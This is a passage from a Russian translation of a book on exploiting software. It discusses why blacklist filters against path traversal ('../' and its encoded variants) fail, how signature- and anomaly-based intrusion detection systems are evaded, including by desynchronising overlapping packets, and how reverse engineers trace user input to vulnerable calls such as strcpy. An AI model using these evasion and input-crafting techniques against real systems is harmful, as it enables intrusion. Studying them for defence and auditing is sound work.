ность программы открывать критически важные файлы, программист добавляет
фильтры, которые не пропускают “опасных” имен файлов. Безусловно, такой метод
изначально является ошибочным. Как можно сказать, что что>то является “плохим”,
когда вы не знаете, как именно “оно выглядит”? Можно ли создать универсальное
правило для блокирования всех вредоносных данных?
Рассмотрим пример. Если предоставленные пользователем данные подаются на
вход вызова функции файловой системы, то при наличии в запросе строки “../..”
программист может заблокировать такие запросы. В данном случае программист
пытается остановить вредоносное использование системного вызова для проведения
хакером атаки с использованием перехода по дереву каталогов. Системные вызовы,
которым предоставлены чрезмерные привилегии, вполне могут позволить зло>
умышленнику скачать файл или получить доступ к любому файлу в файловой сис>
теме, если будет указан путь к этому файлу относительно текущего каталога. Обыч>
но программист “исправляет” эту ошибку, используя правило для выявления строки
“../” в строке входных данных. Но обратите внимание, что это напоминает обнару>
жение вторжений, т.е. мы пытаемся выявить “некорректные” данные. Неизвестно,
что произойдет, если хакер использует строку “.....//...” или закодирует сим>
вол косой черты в шестнадцатеричном формате (ведь это зависит еще и от правила,
заданного программистом).

Взаимодействующие системы
Давайте рассматривать все программное обеспечение как систему. Основными
целями хакеров являются подсистемы или системы большого масштаба. В атакуе>
мых подсистемах могут храниться данные, которые представляют интерес для хаке>
ра. Например, злоумышленник может подготовить такие входные данные, которые
приведут к возникновению события, опасного для безопасности системы.

1

Это частный случай для механизма, известного как монитор обращений (reference
monitor). — Прим. авт.

Подготовка вредоносных данных

213

Каждая подсистема, как правило, находится во взаимодействии с другими под>
системами. Данные взаимодействующих подсистем могут быть необходимы для
проведения вычислений, но это взаимодействие иногда позволяет хакеру ис>
пользовать одну уязвимую подсистему для атаки на другие (более надежные)
подсистемы. Таким образом, взаимодействие между системами следует всегда
рассматривать как еще один уровень для распространения подготовленных ха>
кером вредоносных данных. Точный формат и порядок данных, которые переда>
ются согласно установленным для подсистемы правил, является “диалектом” языка
вредоносных входных данных.

Обнаружение вторжений
Одним из наиболее надежных способов подготовки вредоносных входных дан>
ных является изменение вида запроса при его передаче по сети. Для этой цели мож>
но просто добавить дополнительные символы или заменить некоторые символы
другими символами (или этими же символами в другом формате). Эта элементарная
подготовка входных данных осуществляется хакерами практически постоянно. Ха>
керы, которые хотят обойти простые системы обнаружения вторжений (а большин>
ство из этих систем остаются достаточно простыми), маскируют свою атаку, исполь>
зуя альтернативную кодировку символов и другие подобные методы. Обход систем
обнаружения вторжений является прекрасным примером использования подготов>
ленных входных данных для организации атак. Конечно, специально подготовлен>
ные данные могут использоваться и для обхода фильтров и/или для использования
логических ошибок в программах.

Различные типы систем обнаружения взлома
По своему предназначению, системы обнаружения вторжений подобны системам
сигнализации против воров. Грабитель взламывает дверь, звучит сигнал тревоги,
приезжает полиция. Так выглядит система безопасности в действии. Существует це>
лый ряд компаний (наподобие Counterpane), которые контролируют работу систем
обнаружения взлома и отвечают на атаки.
В современной технологии систем обнаружения взлома (IDS) используются два
основных принципа: обнаружение на основе сигнатур (signature>based approach) и
обнаружение на основе аномальных событий (anomaly>based approach). В технологии
обнаружения атак на основе сигнатур используется база данных с характеристиками
известных атак. Основная идея состоит в том, чтобы сравнивать трафик или журна>
лы или еще какие>либо входные данные со списком недопустимых для поступления
данных и выдавать предупреждения о проблемах. По существу, в технологииобна>
ружения на основе сигнатур обнаруживаются известные типы атак. В технологии
обнаружения атак по аномальным событиям изучается нормальное поведение сис>
темы и обнаруживается все, что не соответствует обычной модели поведения. Такие
системы обнаружения вторжений выявляют “плохие” события, причем “хорошие”
события задаются моделью стандартного поведения. Это два совершенно разных
подхода к решению одной проблемы.
Для выявления атаки с помощью системы обнаружения вторжений на основе
сигнатур, эта система должна владеть точными сведениями о начатой атаке. Поэто>

214

Глава 6

му такие системы достаточно просто обойти, и подобная задача — пара пустяков для
опытного хакера. Если знать, каким образом активируется сигнал тревоги, то систе>
му сигнализации вполне возможно обойти. Особенно упрощает задачу нейтрализа>
ции этих систем обнаружения взлома тот факт, что такая система должна владеть
точной информацией для выявления конкретной атаки. В противном случае ничего
не выявляется. Вот почему даже небольшие изменения в потоке вредоносных вход>
ных данных позволяют обойти такие системы.
В системах обнаружения взлома на основе аномальных событий не уделяется
серьезного внимания конкретным деталям атаки. Вместо этого изучаются шаблоны
стандартной работы компьютерной системы и затем проводится мониторинг не>
обычных (аномальных) событий. Все, что выходит за рамки обычных действий, при>
водит к вызову сигнала тревоги. Проблема в том, что обычные пользователи не все>
гда действуют по шаблону. Поэтому для таких систем обнаружения вторжений ха>
рактерен трудный “период развертывания”, когда происходит разделение нового, но
безвредного, от нового, но опасного. Против таких систем возможно проведение
атак, при которых стандартный статический профиль системы постепенно изменя>
ется от “совершенно нормального” поведения до “взломанного состояния”, и все по>
2
ведение системы (включая и действия хакера) расценивается как нормальное .
В итоге системы обнаружения вторжений на основе сигнатур не способны вы>
явить хакеров, использующих наиболее современные атаки, а при работе систем об>
наружения вторжений на основе аномалий часто возникают ложные тревоги и они
“ловят“ нормальных пользователей. Когда работают обычные пользователи, ложные
тревоги выводят их из терпения, они отключают системы обнаружения вторжений, и
поэтому системы обнаружения вторжений на основе аномалий практически никогда
не используются на практике. И поскольку люди легко забывают о вещах, которых
не видят, то системы обнаружения вторжений на основе сигнатур применяются дос>
таточно широко, несмотря на их недостатки.
Практически все технологии систем обнаружения вторжений можно использо>
вать для проведения атак. Один из широко распространенных методов — это заста>
вить такую систему постоянно следить за каким>либо одним сегментом сети и одно>
временно провести скрытую атаку на другой сегмент. Альтернативный метод заклю>
чается в том, чтобы заставить срабатывать систему обнаружения вторжений
слишком часто, в результате чего пользователь сам в раздражении ее отключит. Вот
тогда и начнется настоящая атака. Достаточно сказать, что многие системы обнару>
жения вторжений не стоят запрашиваемых за них денег, особенно если эксплуата>
3
ционные расходы входят в стоимость .

2

Эта хитроумная атака была впервые описана Терезой Лант (Teresa Lant) в труде под на
званием NIDES, посвященном системам обнаружения вторжений на ранней стадии. Более
подробную информацию можно получить по адресу http://www.sdl.sri.com/programs/
intrusion/history.html. — Прим. авт.
3
Этой точки зрения также придерживается исследовательская группа Gartner в своем
часто цитируемом отчете. Прочесть его можно по адресу http://www.csoonline.com/
analyst/report1660.html. — Прим. авт.

Подготовка вредоносных данных

215

Внесение обновлений для систем обнаружения вторжений
Напомним, что практически во всех удаленных атаках на программное обеспече>
ние по сети передаются вредоносные данные определенной формы. Атакующая
транзакция в той или иной степени является уникальной. По этому принципу и ра>
ботают системы обнаружения вторжений. На практике сетевые системы обнаруже>
ния вторжений обычно представляют собой анализаторы сетевых пакетов (напри>
мер Snort) с большим набором предустановленных фильтров, срабатывающих при
выявлении известных атак. Технология, используемая в современных системах, по
большей части ничем не отличается от технологии анализаторов пакетов, приме>
нявшихся 20 лет тому назад. Фильтры срабатывают при получении по сети пакетов,
которые считаются вредоносными. Набор характеристик, исходя из которых сраба>
тывает фильтр, называют сигнатурой атаки.
В данном случае речь идет о модели работы системы на основе тех или иных
знаний, т.е. от инвестиций в оборудование системы обнаружения вторжений зави>
сят полученные знания о работе системы. Это критически уязвимое место. Без
точных сведений обо всех деталях атаки система обнаружения вторжений не спо>
собна ее выявить.
Проблема заключается в том, что новые способы проведения атак открываются
практически каждый день. Следовательно, сетевая система обнаружения вторжений
слишком “консервативна”, чтобы быть эффективной. Чтобы остаться в курсе теку>
щих событий, система обнаружения вторжений должна постоянно обновляться но>
выми базами данных сигнатур. Это означает, конечно, что пользователи будут безо>
говорочно доверять поставщику системы, который будет предоставлять данные для
обновлений. На практике это имеет неожиданные последствия, когда поставщики
систем обнаружения вторжений принимают на работу хакеров, которые целыми
днями сидят в чатах IRC и распродают информацию о последних атаках, действи>
тельных в настоящее время.
Это весьма интересный вид симбиоза. Пользователи систем сигнализации кос>
венно помогают с трудоустройством злоумышленникам, которые должны будут об>
новлять их системы сигнализации, которые в свою очередь предназначены для по>
имки этих злоумышленников.
Горькая истина в том, что нет систем обнаружения взлома, которые были бы спо>
собны отследить информацию о действительно новых атаках. Вообще, поставщики
этих систем не могут владеть всей информацией о последних атаках. О некоторых из
последних программ атак, которые стали известны общественности, в сообществе
хакеров знали уже многие годы. Возьмем в качестве примера BIND. Группы хакеров
знали о проблеме переполнения буфера в BIND на протяжении нескольких лет, до
того как о них узнала общественность и ситуация была исправлена.

Эффект альтернативного кодирования для систем IDS
Существуют сотни различных способов закодировать конкретную атаку, и каж>
дый из них оформлен по>своему в виде набора сетевых пакетов, хотя все они приво>
дят к одному и тому же результату. Это явление называют конвергенцией входных
данных в конкретное состояние программы. Отмечается большое разнообразие набо>
ров входных данных, которые приводят атакуемую программу в одинаковое конеч>

216

Глава 6

ное состояние. Другими словами, нет четкой зависимости между конкретным набо>
ром входных данных и конечным состоянием программы (для большинства про>
грамм). Например, есть миллионы различных пакетов, которые могут быть достав>
лены в систему и которые будут проигнорированы. Важнее, что существуют тысячи
пакетов, доставка которых приведет к получению одинакового ответа от атакуемой
программы.
Различные
наборы
входных
данных

Одинаковый результат

Для корректной работы сетевая система обнаружения вторжений должна обла>
дать полным набором сведений как о кодировании, так и о любом другом преобразо>
вании входных данных, которое может привести к успешной атаке (для каждой кон>
кретной сигнатуры). Реализовать такой метод весьма сложно. В качестве простого
примера, только поверхностно зная некоторые правила, злоумышленник способен
так изменить стандартные атаки, что загрузит работой систему IDS на долгое время,
пока он будет попивать текилу на Бермудах.
На рис. 6.1 мы проиллюстрировали пример атаки с помощью десинхронизации,
которая получила широкую огласку в конце 1990>х годов. GET>запрос сегментиро>
ван на несколько пакетов. Оба запроса, обозначенные A и B, отправляются атакуе>
мому хосту. В нижней строке указывается порядковый номер пакета, согласно кото>
рому поступают данные. Однако мы видим, что отправленные символы немного от>
личаются. Запрос A искажен, а запрос B является легитимным GET>запросом
данных каталога cgi-bin.
A:

G

T

1

E
2

3

c

X

4

5

/

c

g

4

5

6

i

+

b

i

n

6

7

8

9

10

i

+

b

i

n

7

8

9

10

G

E

1

2

C:

G

T

T

/

c

X

i

+

b

i

n

D:

G

E

T

/

c

g

i

+

b

i

n

E:

G

T

E

/

c

g

i

+

b

i

n

B:

T

/

3

Рис. 6.1. Десинхронизация GETзапроса

Подготовка вредоносных данных

217

Сравним запросы A и B. Обратите внимание, что здесь есть перекрывающиеся
пакеты. Например, в пакете 1 содержатся символы “GT” и “G”, а в пакете 2 — симво>
лы “ET” и “E”. Когда эти пакеты поступают на атакуемый компьютер, он должен
принять решение о том, как поступить с перекрывающимися символами. Существу>
ет несколько возможных вариантов. Строки, обозначенные на рисунке символами C,
D и E, являются возможными вариантами восстановления окончательной строки
данных. Обход системы обнаружения вторжений происходит при восстановлении
этой системой искаженной или некорректной строки, в то время как сервер реконст>
руирует действительный запрос.
Проблема усложняется в геометрической прогрессии для каждого уровня прото>
кола, где возможно наложение символов. С помощью фрагментации пакетов на
уровне протокола IP можно организовать затирание символов. Сегментация исполь>
зуется для этой же цели на уровне протокола TCP. Для некоторых протоколов уров>
ня приложений возможны даже более серьезные наложения. Если злоумышленник
при атаке скомбинирует несколько уровней наложения, то вероятность нужного ему
восстановления данных значительно увеличивается.
Любая система обнаружения вторжений, которая старается проверить каждый па>
кет из набора на предмет содержащегося в нем запроса, оказывается в затруднитель>
ном положении. В некоторых системах предусмотрена возможность моделирования
поведения каждой возможной цели атаки при восстановлении пакетов, что позволяет
провести более точный анализ поступающих данных. Предполагается, что использует>
ся точная модель работы атакуемого компьютера, что уже весьма сложно. При этом
также предполагается, что даже при работающей модели атакуемого компьютера, сис>
тема обнаружения вторжений позволяет правильно восстановить отправленные дан>
ные на линии с гигабитовой скоростью передачи информации. В реальной жизни сис>
темы обнаружения вторжения просто помечают подобные замаскированные запросы
как “подозрительные”, но практически никогда не восстанавливают цельного со>
держимого отправленных данных. В центре этой проблемы лежит вопрос точности
работы протокола согласно заданным спецификациям. Разбор структуры пакета на
уровне приложений является достаточно сложной задачей. Однако спецификации
TCP/IP определены достаточно четко, поэтому система обнаружения вторжений в
общем случае может восстанавливать фрагменты пакетов на достаточно высоких
скоростях (часто с помощью аппаратных средств). Грамотно написанные системы
обнаружения вторжений также хорошо работают с простыми протоколами наподо>
бие HTTP. Однако восстановление отправленных данных на уровне приложений
выполнить очень сложно и остается вне зоны внимания для большинства систем об>
наружения вторжений.

Исследование по частям
Сложные системы программного обеспечения могут рассматриваться как наборы
подсистем. Можно даже Internet расценивать как единую (хотя и особо крупную)
систему программного обеспечения. С этой точки зрения каждый компьютер, под>
ключенный к Internet, может считаться подсистемой. Эти компьютеры, конечно, в
свою очередь можно разделить на подсистемы. Процесс разделения крупной систе>
мы на мелкие подсистемы называют разделением на части (partitioning). Обычную

218

Глава 6

систему можно рассматривать как единое целое, состоящее из набора составляющих
на различных уровнях детализации.
Очевидно, что мы не можем ограничить систему какими>то конечными рамками,
поэтому мы всегда исследуем программное обеспечение как часть большей системы,
которая поддается описанию. Это вполне приемлемо, поскольку вся Вселенная явля>
4
ется (ограниченным) набором систем, которые обмениваются информацией . Теорети>
чески нет предела уязвимым приложениям, на которые можно провести атаку. Одним
из наиболее удачных способов является исследование искусственно взятых частей
системы, которые можно успешно “измерить”. Проще всего начать с исполняющегося
процесса — образа приложения, когда оно запущено на конкретном компьютере. Ис>
пользуя описанные в этой книге средства, можно провести исследование процесса за>
пущенного приложения и определить загруженные модули программного кода. По>
добным образом можно исследовать входные данные и другой трафик, чтобы опреде>
лить правила взаимодействия между модулями, операционной системой и сетью.
Также можно узнать о внешних взаимодействиях программы с файловой системой,
внешними базами данных и об исходящих соединениях по сети. Все вышеперечислен>
ное составит достаточно большой объем информации для исследования.
Однако даже этот процесс можно разбить на подпроцессы. Например, мы можем
расценивать каждую библиотеку DLL как отдельный элемент и анализировать ее
отдельно. Затем мы можем проанализировать входные и выходные данные неболь>
шого фрагмента кода, исследуя различные вызовы функций API.
В следующем примере мы покажем, как отслеживать вызовы функций API на
платформе Windows. Обратите внимание, что в главе 3, “Восстановление исходного
кода и структуры программы”, мы уже рассматривали, как создать собственное сред>
ство для проведения подобного анализа.

Вернемся к Windows-программе APISPY
Практически для всех платформ существуют встроенные или специально соз>
данные средства для отслеживания вызовов функций API. Вспомним хотя бы о про>
грамме Truss для платформы Solaris из главы 4, “Взлом серверных приложений”.
Много таких программ создано и для платформы Windows. В главе 3,
“Восстановление исходного кода и структуры программы”, мы рассмотрели исполь>
зование программы APISPY32 для выявления всех вызовов функции strcpy, кото>
рые делала атакуемая программа при работе с SQL>сервером от Microsoft. Напом>
ним, что мы выбрали этот вызов, поскольку с его помощью становится возможным
проведение атаки на переполнение буфера, если строка входных данных задается
злоумышленником. Приведенный простой пример включает в себя одновременное
исследование двух фрагментов программного обеспечения: исполняемого файла
сервера SQL и системной библиотеки kernel32.dll.
Наиболее очевидный метод восстановления исходного кода программного обес>
печения заключается в инвентаризации всех точек входа и выхода из программы и
поиске интересующих фрагментов кода. На момент создания этой книги было дос>
тупно несколько хороших средств, которые уместно привести в описываемом нами
4

Мы используем закрытую модель Вселенной, которая возникла в результате “большого
взрыва”.— Прим. авт.

Подготовка вредоносных данных

219

исследовании. Можно создать электронную таблицу или написать программу, кото>
рая будет отслеживать все вызовы функций, при которых используются введенные
пользователем данные. Большинство хакеров используют карандаш и листок бумаги
для записи адресов, из которых вызываются интересные функции, например
WSARecv() или fread(). Программа наподобие IDA>Pro позволяет создать ком>
ментарии для кода, полученного в результате дизассемблирования программы, что
намного лучше, чем ничего. При исследовании кода также проверяйте все точки вы>
хода, включая вызовы функций наподобие WSASend() и fwrite(). Обратите вни>
мание, что исходящие данные иногда принимают форму системных вызовов.

Поиск ключевых мест в коде
Самый простой и самый быстрый метод восстановления исходного кода называ>
ют поиском ключевых мест (red pointing). Опытный инженер по восстановлению ис>
ходного кода просто просматривает программный код в поисках очевидно уязвимых
мест, например вызовов функции strcpy() и т.п. После выявления этих областей в
коде проводится предварительно подготовленная атака для того, чтобы заставить
программу перейти в эту потенциально уязвимую область кода во время исполне>
ния. Проще всего это сделать с помощью программы для отслеживания вызовов
функций API. Если конкретные области кода нельзя отследить с помощью простых
средств, целесообразно воспользоваться отладчиком.
Наличие ключевого места в коде определяется двумя условиями: во>первых, это
должна быть уязвимая область кода, в которой присутствует потенциально опасный
вызов функции, и во>вторых, в этой области кода должны обрабатываться данные,
предоставленные пользователем. Достаточно даже небольшой практики, чтобы нау>
читься выявлять уязвимые места и понимать, какие входные данные могут быть об>
работаны в конкретной атакуемой области кода. С накоплением опыта эта задача
значительно упрощается.
Основным свойством процесса выделения ключевых мест в коде можно назвать
простоту этого процесса. Однако эта простота может показаться не такой привлека>
тельной, когда после нескольких часов поиска не находится ни одного интересного
места в коде. Иногда этот метод не дает никаких результатов. С другой стороны,
иногда уязвимый код обнаруживается практически мгновенно.
Главный недостаток данного метода заключается в том, что пропускается прак>
тически все, кроме самых распространенных ошибок. Еще раз напомним, что в ог>
ромном количестве программ есть ошибки, что делает эту простую технологию
весьма эффективной.
Чтобы повысить ваши шансы на успех путем выделения ключевых мест в коде, да>
лее в этой книге мы расскажем о нескольких методах исследования программ: о поиске
ключевых мест в коде, обратной трассировке и отслеживании входных данных.

Трассировка
Независимо от того, сколько хакеров хотели бы, чтобы все было так просто, как
поиск ключевых мест, неизменным остается тот факт, что если вы хотите найти ин>
тересные возможности для атаки, придется основательно “закопаться” в программ>

220

Глава 6

ный код, т.е. необходимо отслеживание входных данных, что является весьма утоми>
тельной задачей. Одна из причин, по которой многие простые ошибки остаются в ус>
тановленном программном обеспечении, состоит в том, что ни у кого не хватает тер>
пения внимательно просмотреть весь программный код, как это делает настоящий
хакер. Даже автоматизированные средства не позволяют найти все уязвимые места в
программах.
Человеческий мозг работает ужасно медленно, но пока остается наилучшим из
всех известных нам аналитических средств. Большинство уязвимых мест не являют>
ся шаблонными, и их нельзя выявить по заданному алгоритму, т.е. они не подходят
под удобный для использования шаблон, который может быть встроен в автомати>
зированное программное средство. Люди по>прежнему остаются наилучшим инст>
рументом для выявления уязвимых мест.
Проблема не только в том, что люди работают медленно, кроме того, их труд сто>
ит достаточно дорого. Это означает, что выявление уязвимых мест остается дорого>
стоящим занятием. Тем не менее, следует всегда проводить аудит. Выявление уяз>
вимого места в продаваемой программе может обойтись поставщику более чем в 100
тыс. долл., особенно если учесть общественную реакцию, установку заплат и техни>
ческую поддержку, не говоря уже о предоставлении ключей к “компьютерному ко>
ролевству” для некоторых хакеров. Если посмотреть на ситуацию с другой стороны,
то хакер, имеющий возможность доступа к удаленной программе, в которой присут>
ствует уязвимое место, действительно как бы получает ключи от “компьютерного
королевства” (особенно если уязвимое место обнаруживается в широко распростра>
ненной программе наподобие BIND, Apache или IIS).

Обратная трассировка из уязвимого места
Предположим, что мы обнаружили некоторые важные разделы в программе и на>
чинаем их исследование на предмет наличия уязвимых мест. Использовать нашу
хитрость для выявления вызова функции достаточно просто: нужно лишь запустить
код для обработки каких>то тестовых входных данных и надеяться увидеть данные
использованными в интересующем вызове. Безусловно, в реальном мире дела обсто>
ят не так просто. Чаще всего приходится внимательно подготавливать входные дан>
ные, используя специальные символы и/или запросы определенного типа.
В любом случае, текущая цель заключается в поиске уязвимых мест, доступ к кото>
рым можно получить извне, т.е. с помощью входных данных, которые проходят через
“границу” раздела. Например, если нас интересуют только библиотеки DLL, то нам
необходимо найти все уязвимые места, доступ к которым можно получить посредст>
вом экспортируемых в DLL вызовов функций. Это будет очень полезно, поскольку
потом мы сможем найти все программы, которые используют данную библиотеку
DLL, и определить, как на них могут повлиять выявленные нами уязвимые места.
Первый шаг в обратной трассировке — это определить потенциально уязвимые
вызовы функций. Если вы не уверены, что данный вызов является уязвимым, то на>
пишите небольшую программку для проверки этого вызова. Это прекрасный способ
изучения. Затем напишите отдельную программу, которая выдает все возможные
входные данные как аргументы и отправляет результаты вызову функции. Опреде>
лите, какие аргументы приводят к возникновению проблем и начинайте исследо>
вание исходя из этих сведений. Возможно, ваша небольшая программа аварийно

Подготовка вредоносных данных

221

завершит работу или выходной вызов функции сможет сделать что>то, что будет
считаться нарушением принципов безопасности (например чтение файла). После
этого нужно записать символы, которые приводят к проблемам при вызове функции
(которые мы называем набором вредоносных символов) и все подобные строки
(которые мы называем набором вредоносных выражений). После определения набо>
ров вредоносных символов и выражений, можно начать обратную трассировку в
атакуемой программе с целью узнать, где еще этот набор может быть внедрен хаке>
ром извне программы.
Чтобы начать обратную трассировку из атакуемой области, воздействуем на ата>
куемую программу в точках, удаленных от переходов между блоками кода в дереве
управляющей логики программы (как правило, с помощью установки точек остано>
ва при использовании отладчика). Затем внедряем входные данные, содержащие
вредоносные символы и комбинации команд (с помощью клиентской программы).
Если входные данные достигают вызова, значит, дело сделано. Теперь можно изу>
чить этот выявленный “уязвимый раздел”. Обратите внимание, что мы все делаем
вне внутреннего уязвимого места. Если вредоносные входные данные, поступающие
через точку входа в новой ограниченной области кода, блокируются, то мы говорим
о “проходных” разделах.
На рис. 6.2 изображены три раздела программного кода. В первом разделе осуще>
ствляется обработка пользовательских данных, которые затем фильтруются и, воз>
можно, блокируются во втором разделе, до того, как мы достигнем своей цели в
третьем разделе (в котором находится уязвимая область кода). Возвращаясь к на>
шему предыдущему примеру, мы хотим, чтобы ограничения DLL были разрушены
до того, как мы выйдем из уязвимой области кода.
Раздел, в котором данные
воздействуют на многие
решения в программном коде

Ограниченный раздел,
в котором выполняется
фильтрация данных

Искомый раздел, в котором
содержится уязвимый вызов

Программный код обрабатывает пользовательские данные
Пользовательские
данные из

Программный код для
фильтрации неправильных
запросов
Программный код, в котором
используется уязвимый вызов

Код для проверки
символов

Код фильтра

Вызов функции

Рис. 6.2. Три раздела в программном коде атакуемой программы и их влияние на обрат
ную трассировку

На рис. 6.3 показан пример обратной трассировки кода в библиотеке irc.dll,
которая поставляется совместно с программой Trillian — популярным клиентом для

222

Глава 6

общения пользователей в чате. Уязвимое место, на которое мы нацелились, было
связано с ошибкой несовпадения знака. Обратная трассировка позволила узнать о
наличии оператора switch выше подозрительной области кода.

Рис. 6.3. Квадратик темносерого цвета на рисунке — это область уязвимого кода в биб
лиотеке irc.dll программы Trillian. Управление передается через большой по размеру
оператор switch “по дороге” к интересующей области кода. Для составления этого ри
сунка мы использовали программу IDAPro

Цель заключается в доставке пользовательских входных данных в уязвимую об>
ласть кода. Один из методов заключается в продолжении обратной трассировки до
тех пор, пока не будет обнаружена известная точка входа, например вызов функции
WSARecv. Если можно осуществить обратную трассировку до подобного вызова, ос>
таваясь в “уязвимом разделе” с помощью специальных команд, значит, вы обнару>
жили действительно уязвимое место (обратите внимание, что описанный нами спо>
соб весьма утомительный и требует много времени).
Если процесс обратной трассировки покажется вам слишком сложным, то вполне
реально воспользоваться другим методом, который заключается в обратной трасси>
ровке до определения набора крупных разделов в программе. Затем можно провести
прямую трассировку от действительных точек входа, чтобы определить возможность
достижения любого из обнаруженных крупных разделов. Таким образом можно ус>
корить процесс поиска возможной атаки, двигаясь с противоположных концов как
бы навстречу. Если можно добраться до уязвимого раздела с помощью вредоносных
команд, значит, с помощью вредоносной команды можно провести всю атаку, начи>
ная с точки входа и заканчивая желаемым событием на выходе.
Все описанные методы, безусловно, должны быть проверены на практике, но из>
ложенный нами поиск возможности проведения атаки, несомненно, приносит ре>
зультат. Этот метод намного интеллектуальнее простого поиска возможных атак с
помощью перебора различных вредоносных входных данных по методу “черного
ящика” (на котором основаны многие из первых программ по обеспечению безопас>
ности, доступные на современном рынке программного обеспечения).

Тупиковые пути
При проведении обратной трассировки серьезной проблемой является тенденция
к отрицательным результатам поиска. Это означает, что вы можете быстро двигаться
к заветной цели и внезапно оказаться в тупике. Например, невозможно понять, от>
куда поступают данные. Один из способов обойти эту проблему заключается в том,

Подготовка вредоносных данных

223

чтобы запустить программу и непосредственно просмотреть программный код в ту>
пиковом пути.
Например, это может пригодиться при исследовании подкачки сообщений в
Windows>системах. Если проводится обратная трассировка обработчика сообщений
Windows>системы, то иногда достаточно сложно определить, откуда поступают со>
общения (и откуда они были отправлены). Однако во время выполнения программы
можно без особого труда увидеть, откуда поступает сообщение, поскольку необхо>
димые данные можно найти в стеке вызовов.

Трассировка во время выполнения программы
В процесс трассировки во время выполнения программы входит расстановка то>
чек останова и пошаговое выполнение программы для составления ее рабочей моде>
ли. При выполнении программы можно проследить поток данных и поток команд
управления, просто просматривая, что происходит. Для сложных приложений, это,
как правило, намного полезнее, чем любой вид статического анализа программного
кода. На время создания этой книги еще не было доступным большое количество
программных средств, которыми можно было бы воспользоваться для проведения
трассировки в режиме выполнения, особенно тех, которые бы позволяли выявить
проблемы безопасности. Одна из многообещающих программ называется Fenris,
и она работает на платформе Linux (рис. 6.4).
При трассировке во время выполнения особое значение имеет охват кода. Цель
в том, чтобы “посетить” все возможные фрагменты программного кода, в которых

Рис. 6.4. Экран программы Fenris, запущенной в виртуальной машине для проведения ана
лиза кода во время выполнения

224

Глава 6

могут произойти нежелательные события (по отношению к тестированию программ
критерий охвата программного кода равнозначен охвату потенциальных уязвимых
мест). Во многих случаях (к разочарованию хакера) можно найти потенциальное
уязвимое место, но до него невозможно добраться. В этом случае можно изменять
вредоносные входные данные до тех пор, пока не удастся добраться до интересую>
щей области программного кода. Для этой цели лучше всего воспользоваться про>
граммой для исследования кода в режиме выполнения и поиска потенциально уяз>
вимых мест (code coverage tool).
На рис. 6.5 интересующий нас фрагмент кода содержит вызов функции wsprintf.
Успешно “посещенные” блоки кода показаны как серые квадраты.

Исследованные
области кода

Вызов
функции

Рис. 6.5. Результаты исследования кода с по
мощью нашей простой программы анализа
охвата кода. Исследованные блоки кода вы
делены серым цветом. Нам не удалось найти
пути к уязвимому блоку кода, в котором со
держится вызов функции wsprintf()

Подозрительная
область кода

Рис. 6.6. В данном случае нам удалось доб
раться до уязвимой области кода с помощью
специально подготовленных входных данных

Чтобы оценить охват кода для конкретных фрагментов кода, мы создали простую
программу, в которой объединили IDA>Pro и отладчик. С помощью специального
модуля для IDA>Pro мы получили доступ к конкретным блокам кода исследуемой
программы. Затем эти блоки были проанализированы во время выполнения с помо>
щью установки в отладчике точек останова в начале каждого блока кода. При дости>
5
жении точки останова блок кода выделяется серым цветом .
5

Исходный код указанного здесь средства для исследования программного кода можно по
лучить по адресу http://www.hbgary.com.

Подготовка вредоносных данных

225

Изменяя входные данные и отслеживая, как принимается решение о переходе к
той или иной ветке кода, хакер может подобрать такие входные данные, которые по>
зволят добраться до уязвимого блока кода. Практически никогда невозможно с пер>
вого раза добраться до уязвимой области кода (как показано на рис. 6.6). Хакер дол>
жен очень внимательно проанализировать каждое решение о переходе к другой об>
ласти кода и соответственно манипулировать входными данными. Это требует
длительного использования отладчика.

Быстрые остановы
Во многих случаях понять, когда достигается определенная область кода, можно
с помощью непосредственной выборки данных из памяти. Иногда целесообразно
даже задать автоматическое выполнение определенных действий при достижении
точки останова. Мы называем это быстрым остановом (speedbreak). При достиже>
нии интересующей точки останова исследуется каждый регистр. Если в регистре
хранятся ссылки на выделенные области памяти, то делается выборка данных из па>
мяти. Этот метод позволяет узнать, как анализаторы обрабатывают строки и как
осуществляется преобразование символов. Можно даже отслеживать прохождение
предоставленных пользователем данных.
На Windows>системе использовать этот метод достаточно просто: каждое зна>
чение регистра сохраняется в структуре контекста при возникновении отладочно>
го события (см. главу 3, “Восстановление исходного кода и структуры програм>
мы”). Для каждого регистра отладчик вызывает функцию VirtualQuery() для
определения того, существует ли выделенная область памяти. При положитель>
ном результате берется выборка данных из памяти и программе разрешается
продолжить выполнение.
На рис. 6.7 показано окно программы для проведения быстрых остановов, ис>
пользованной для выборки данных из памяти при работе FTP>сервера. Мы видим
данные в памяти при обработке SQL>запроса. Эта программа общедоступна на сайте
http://www.sourceforge.net (см. раздел projects/speedbreak/).

Рис. 6.7. Простая программа для проведения быстрых остановов использована для
выборки данных из памяти, выделенной для FTPсервера. В крайне левом столбце по
казано время, в которое была выполнена выборка

226

Глава 6

Отслеживание данных в буфере
Один из методов отслеживания входных данных заключается в установке точки
останова в области кода, в которой располагается буфер для входных данных. С этой
точки можно начать пошаговое исследование кода и проследить, когда запрашива>
ются или копируются данные из буфера. Такую трассировку можно осуществить с
помощью программы Fenris. В нашем наборе средств также есть простая программа
для проведения такой трассировки в системах Windows.
На рис. 6.8 показана трассировка памяти. Используя этот метод визуализации,
мы можем проследить за состоянием одного буфера данных с течением времени.
Основная цель заключается в том, чтобы определить, где и когда данные передаются
из регистров в стек и кучу с помощью операций чтения и записи. Зная, где находятся
данные, значительно проще создать программу атаки.

Рис. 6.8. Трассировка памяти показывает регистры (слева) и области памяти
в стеке и куче (справа). Более темные квадратики — это источник (операция
чтения), более светлые — это цель (операция записи). Стрелки указывают
на отправителя и получателя при выполнении операции move. Эта програм
ма была создана Хогландом, но на момент создания книги еще не была выпу
щена. Проверьте обновления по адресу http://www.sourceforge.net

Подготовка вредоносных данных

227

“Ход конем”
“Ход конем” (leapfrogging) представляет собой ускоренный метод отслеживания
входных данных. Вместо того чтобы медленно исследовать каждую строку кода,
можно установить точки останова с чтением данных из памяти для буферов, в кото>
рых сохраняются предоставленные пользователем данные. В процессорах Intel се>
мейства x86 поддерживается возможность установки отладочных точек останова для
доступа к памяти. К сожалению, не все стандартные отладочные программы предос>
тавляют эту функциональную возможность. Для этой цели можно воспользоваться
одной из программ SoftIce или OllyDbg.
Как и при обычной трассировке входных данных, точка останова устанавливает>
ся на точке входа в программу. При выполнении чтения данных из буфера, для него
может быть установлена точка останова с доступом к памяти. Затем можно разре>
шить продолжение выполнения программы. До этого момента мы не отслеживаем,
какие области кода исполняются, или как работает управляющая логика (поток ко>
манд управления) программы. Основа этого метода в том, что при попытке любой
части программы получить доступ к буферу с пользовательскими данными, выпол>
нение программы будет остановлено, и хакер сможет определить строку кода, кото>
